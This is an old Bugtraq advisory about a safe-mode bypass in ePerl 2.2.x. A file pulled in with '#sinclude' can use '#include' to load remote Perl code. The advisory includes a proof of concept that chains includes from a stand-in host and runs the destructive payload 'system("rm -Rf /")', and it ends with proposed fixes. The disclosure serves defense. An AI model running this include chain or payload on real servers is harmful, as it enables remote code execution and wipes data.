[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

bugtraq submission

All versions of the C version of ePerl 2.2 (up to current version 2.2.14)


Systems Affected:
Unix systems

ePerl allows the user to embed perl code (specified inside ePerl 
delimiters) in HTML.

ePerl has the ability to "safely" include untrusted files using the 
#sinclude directive.  The untrusted file is not supposed to be able 
to specify any perl code to run, but this safe mode can easily be 

The #sinclude directive operates by replacing the ePerl delimiters on
the untrusted file so that they are ignored during parsing.  The
problem is that it still follows the preprocessing directives, so
the untrusted file can then include another file while not in safe mode.

As an example, consider two files, one that we own and one that we sinclude:

File my_machine.html:
Here is information from some other source:
#sinclude http://lala.com/untrusted.html

Now, #sinclude is supposed to keep lala.com from putting any perl code
in untrusted.html, but they still can, because they can do this:

File http://lala.com/untrusted.html:
Perl code in this file is ignored, but:
#include http://lala.com/untrusted2.html

File http://lala.com/untrusted2.html:
Any perl code we want...
<: system("rm -Rf /"); :>

Then when someone views the file my_machine.html, ePerl will run
the malicious code on the machine with the ePerl server.

Possible Fixes:

1)  Temporarily turn off preprocessing when you enter an #sinclude file.
2)  Convert all #includes into #sincludes inside an #include file
3)  Move the delimiter replacement *into* the ePerl_PP_Process call
    as opposed to after it - in addition, ignore #if/elsif/else/endif
    and finally convert all #include to #sinclude
4)  Use the smaller and more secure ePerl replacement that's written in perl: